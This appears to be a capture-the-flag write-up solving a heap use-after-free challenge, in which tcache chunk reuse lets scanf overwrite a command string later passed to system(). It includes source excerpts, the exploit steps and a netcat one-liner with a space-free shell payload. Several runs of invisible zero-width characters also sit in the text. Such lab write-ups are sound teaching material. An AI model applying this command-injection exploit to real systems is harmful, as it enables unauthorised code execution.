← Back to Writeups
CUSTOMEasypwn

Liberal Executor

XESXOR9/2/20263 min read
#pwn#custom#easy#dangling_pointer#scanf_whitespace_bypass#tcache_reuse#type_confusion#use_after_free#linux

Liberal Executor

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: dangling_pointer, scanf_whitespace_bypass, tcache_reuse, type_confusion, use_after_free

Summary

Task: menu-driven heap pwn where free() leaves a dangling global EXECUTOR pointer (UAF). Solution: re-allocate a same-size namesayer struct that reuses the freed chunk, overwrite command[] via scanf into firstName, then execute_command runs system() on the attacker string; spaces bypassed with input redirection cat<flag.txt.

Liberal Executor — spbctf

Description

"Now the Command Executor may be freed!" nc 109.233.56.90 11727

A menu-driven C heap program. The goal is to make the program call system() on an attacker-controlled command and read the flag file.

Analysis

The source (mc3.c) defines two structs that both land in the same tcache bin:

c
struct executor  { char command[40]; };            // malloc(40) -> 48B chunk (0x30 bin)
struct namesayer { char firstName[16]; char lastName[16]; }; // malloc(32) -> 48B chunk (0x30 bin)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

malloc(40) and malloc(32) both round up to a 0x30 (48-byte) chunk, so they share the 0x30 tcache free list.

The executor is created with a default command and later executed:

c
struct executor * allocate_executor() {
    struct executor * obj = malloc(sizeof(struct executor));
    strcpy(obj->command, "ls -la");
    return obj;
}
void execute_command(struct executor * obj) {
    system(obj->command);       // runs whatever is in command[]
}

The vulnerability is in the free path — the global pointer is not cleared: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

c
} else if (choice[0] == 'f' && EXECUTOR) {
    free(EXECUTOR);             // EXECUTOR still points at the freed chunk
    printf("Executor freed!\n");
}

This is a classic Use-After-Free / dangling pointer. After freeing the executor, the chunk goes onto the 0x30 tcache list but EXECUTOR keeps pointing at it, and the menu still offers x - execute command.

Allocating a namesayer right after the free reuses the very same chunk. The namesayer.firstName field sits at offset 0 — exactly where executor.command lives. scanf("%15s", obj->firstName) therefore writes directly into command[], giving us full control of the string passed to system(). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Type confusion via tcache reuse: the object is freed as an executor and re-allocated as a namesayer, but EXECUTOR still treats the shared memory as a command buffer.

checksec: canary=yes, NX=yes, no PIE, partial RELRO — all irrelevant, since this is a pure logic UAF and no memory-corruption primitive is needed.

Solution

Exploit chain (single menu conversation):

  1. e — allocate executor. Chunk A is created (will go to tcache 0x30 on free).
  2. f — free executor. Chunk A enters the tcache; EXECUTOR is now dangling.
  3. n — allocate namesayer. It reuses chunk A. scanf into firstName overwrites command[] with our payload. (lastName gets a throwaway value.)
  4. x — execute_command(EXECUTOR) runs system(command) with our string. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Whitespace constraint and bypass

firstName is read with scanf("%15s", ...): at most 15 characters and no whitespace. A naive cat flag.txt is impossible because of the space.

Bypass it with shell input redirection, which requires no spaces:

cat<flag.txt      # 12 chars, no whitespace

Final one-liner

bash
printf 'e\nf\nn\ncat<flag.txt\nX\nx\n' | nc 109.233.56.90 11727

Breakdown of the piped input:

  • e — allocate executor
  • f — free executor
  • n — allocate namesayer
  • cat<flag.txt — firstName (becomes command[])
  • X — lastName (throwaway, any non-whitespace token)
  • x — execute command → system("cat<flag.txt") → prints the flag ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍